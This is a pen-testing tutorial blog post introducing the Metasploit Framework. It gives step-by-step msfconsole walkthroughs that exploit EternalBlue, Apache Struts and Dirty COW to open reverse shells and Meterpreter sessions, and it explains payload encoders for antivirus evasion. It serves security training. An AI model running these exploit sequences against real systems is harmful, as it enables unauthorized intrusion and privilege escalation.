Greetings, fellow hackers! As professional pen testers and red teamers, we always seek tools to exploit vulnerabilities and improve our skills. Today, we will dive deep into the Metasploit Framework, an open-source penetration testing tool that has earned its stripes as one of our arsenal’s most influential and versatile tools.
In this comprehensive guide, we’ll explore the ins and outs of the Metasploit Framework, starting from its history, moving to its components and modules, and finally, diving into real-world examples to showcase its incredible capabilities. So, buckle up, and let’s get started!
History of the Metasploit Framework
Metasploit was created in 2003 by HD Moore as a portable network tool using Perl. In 2007, the Metasploit Framework was rewritten entirely in Ruby, significantly increasing its flexibility and effectiveness. Rapid7, a security solutions provider, acquired Metasploit in 2009, and since then, they’ve been actively maintaining and improving the framework.
Throughout the years, Metasploit has become the go-to choice for professional hackers, cybersecurity researchers, and pen testers, thanks to its extensive list of features and powerful modules.
Metasploit Components
Metasploit offers several interfaces and components to interact with its robust framework:
Metasploit Console (msfconsole)
Msfconsole is the primary interface for interacting with the Metasploit Framework. It provides an interactive, command-line experience that allows us to execute various commands, search for and run exploits, and manage sessions. This is the most commonly used interface among security professionals.
To start msfconsole, open a terminal and type:
msfconsole
Metasploit Command Line (msfcli)
Msfcli is a command-line interface for Metasploit that allows you to execute a single exploit without launching the full msfconsole. It’s useful when you want to run a quick exploit without an interactive session.
Example usage:
msfcli exploit/windows/smb/ms17_010_eternalblue RHOST=192.168.1.10 RPORT=445 E
Metasploit GUI (Armitage)
Armitage is a graphical user interface (GUI) for Metasploit that provides a point-and-click experience for managing exploits and sessions. Armitage can be an excellent choice for beginners or those who prefer a visual interface.
To launch Armitage, open a terminal and type:
armitage
Metasploit Community / Pro Web Interface
Metasploit Community and Pro editions offer a web-based interface with additional features like vulnerability management and automated exploitation. These editions are aimed at enterprises and require a license to access their full capabilities.
Metasploit Modules
Metasploit’s true power comes from its extensive collection of modules. These modules are divided into several categories, each serving a specific purpose.
Exploit Modules
Exploit modules are the heart of Metasploit. These modules contain code for exploiting a specific vulnerability in a target system. Metasploit has over 1,900 exploit modules, targeting a wide range of vulnerabilities in various operating systems and applications.
Example exploit module:
exploit/windows/smb/ms17_010_eternalblue
Auxiliary Modules
Auxiliary modules are designed to assist in scanning, fuzzing, and reconnaissance tasks. While they don’t exploit vulnerabilities directly, they provide valuable information that can be used to identify potential targets and attack vectors.
Example auxiliary module:
auxiliary/scanner/http/dir_scanner
Post-Exploitation Modules
After a successful exploit, post-exploitation modules help you maintain access and perform actions on a compromised system. They allow you to gather information, pivot to other systems, and cover your tracks.
Example post-exploitation module:
post/windows/gather/enum_logged_on_users
Payload Modules
Payload modules are the code executed on a target system after a successful exploit. Metasploit has numerous payloads for various scenarios, including reverse shells, Meterpreter sessions, and command execution.
Example payload:
windows/meterpreter/reverse_tcp
No-operation (Nop) Modules
Nop modules generate a sequence of no-operation instructions to ensure the payload’s size remains consistent, even when the exploit’s space requirements change. This is particularly useful when evading security mechanisms that rely on detecting specific patterns.
Example Nop module:
x86/single_byte
Encoders
Encoders are used to obfuscate payloads to bypass security measures such as intrusion detection systems (IDS) and antivirus software. Encoders transform the payload into an encoded format that can be decoded during runtime.
Example encoder:
x86/shikata_ga_nai
Setting Up and Configuring Metasploit
To set up Metasploit, you can download the pre-built binary packages for your operating system or compile the source code yourself. The Metasploit Framework is included by default in popular security-focused Linux distributions such as Kali Linux and Parrot Security OS.
To update Metasploit to the latest version, open a terminal and type:
msfupdate
Before running an exploit, you must configure the appropriate module, target, and payload options. Use the show options command in msfconsole to view the required and optional settings.
Real-World Examples and Scenarios
Let’s examine some real-world scenarios to understand how Metasploit can exploit vulnerabilities and compromise systems.
Exploiting a Windows System with EternalBlue
EternalBlue is a well-known exploit targeting a vulnerability in Microsoft’s Server Message Block (SMB) protocol. In this example, we’ll use Metasploit to exploit a Windows system vulnerable to EternalBlue.
Start msfconsole:
msfconsole
Search for the EternalBlue exploit:
search eternalblue
Choose the appropriate exploit module (in this case, exploit/windows/smb/ms17_010_eternalblue) and use it:
use exploit/windows/smb/ms17_010_eternalblue
Set the target IP address (RHOST):
set RHOST 192.168.1.10
Choose a payload, such as the Meterpreter reverse TCP shell:
set PAYLOAD windows/meterpreter/reverse_tcp
Set the LHOST (your IP address) for the reverse shell:
set LHOST 192.168.1.5
Confirm the options are correctly set by typing show options and, if everything is in order, run the exploit:
exploit
If successful, you’ll gain a Meterpreter session on the target system.
Gaining Access to a Linux Web Server using Apache Struts Vulnerability
In this scenario, we’ll exploit a vulnerability in Apache Struts to gain access to a Linux web server.
Start msfconsole:
msfconsole
Search for the Apache Struts exploit:
search struts
Choose the appropriate exploit module (in this case, exploit/multi/http/struts2_content_type_ognl) and use it:
use exploit/multi/http/struts2_content_type_ognl
Set the target URL (RHOSTS and RPORT):
set RHOSTS 192.168.1.20 set RPORT 8080
Choose a payload, such as the Unix reverse TCP shell:
set PAYLOAD cmd/unix/reverse_tcp
Set the LHOST (your IP address) for the reverse shell:
set LHOST 192.168.1.5
Confirm the options are correctly set by typing show options and, if everything is in order, run the exploit:
exploit
You’ll gain a reverse shell on the target Linux web server if successful.
Privilege Escalation on a Linux System
After gaining initial access to a Linux system, you should escalate your privileges to perform further actions. In this example, we’ll use Metasploit to find a local exploit and escalate our privileges.
Start msfconsole:
msfconsole
Search for local Linux exploits:
search type:exploit platform:linux local
Choose an appropriate local exploit module based on the target system’s kernel version and vulnerabilities (for this example, let’s assume the target is vulnerable to Dirty COW, exploit/linux/local/dirtycow):
use exploit/linux/local/dirtycow
Set the session ID (the session you’ve gained through a previous exploit):
set SESSION 1
Choose a payload, such as the Linux Meterpreter reverse TCP shell:
set PAYLOAD linux/x86/meterpreter/reverse_tcp
Set the LHOST (your IP address) for the reverse shell:
set LHOST 192.168.1.5
Confirm the options are correctly set by typing show options and, if everything is in order, run the exploit:
exploit
If successful, you’ll gain a new Meterpreter session with elevated privileges on the target Linux system.
Metasploit Tips and Tricks
Here are some valuable tips and tricks that can help you make the most of Metasploit:
- Use search efficiently: Use the search command to find exploits, payloads, and other modules by keywords, platforms, and other criteria.
- Save time with aliases: Create aliases for frequently used commands, like setting up LHOST and LPORT, by modifying the msfconsole.rc file in your Metasploit directory.
- Use db_nmap: Integrate Nmap scans directly into Metasploit using the db_nmap command. This command stores the Nmap scan results in the Metasploit database, allowing you to reference discovered hosts and services easily.
- Keep track of sessions: Use the sessions command to view and manage all
active sessions. You can interact with a specific session by typing
sessions -i <session_id>
. - Use post-exploitation modules: Make the most of post-exploitation modules to maintain access, pivot, and gather valuable information from compromised systems.
- Use resource files: Automate repetitive tasks by creating files containing a series of msfconsole commands and load them using the resource command.
- Stay updated: Regularly update your Metasploit installation with msfupdate to ensure you have the latest modules and features.
Conclusion
The Metasploit Framework is a potent and versatile tool for penetration testers and red teamers. With its extensive collection of modules and user-friendly interfaces, Metasploit has become an essential part of a hacker’s toolbox.
In this guide, we’ve explored the history of Metasploit, its components, modules, and real-world scenarios to showcase its capabilities. As a professional hacker, it’s crucial to master this tool to stay ahead of the game and efficiently exploit vulnerabilities in your target systems.
With great power comes great responsibility. Use Metasploit responsibly and ethically to help create a more secure digital world. Happy hacking!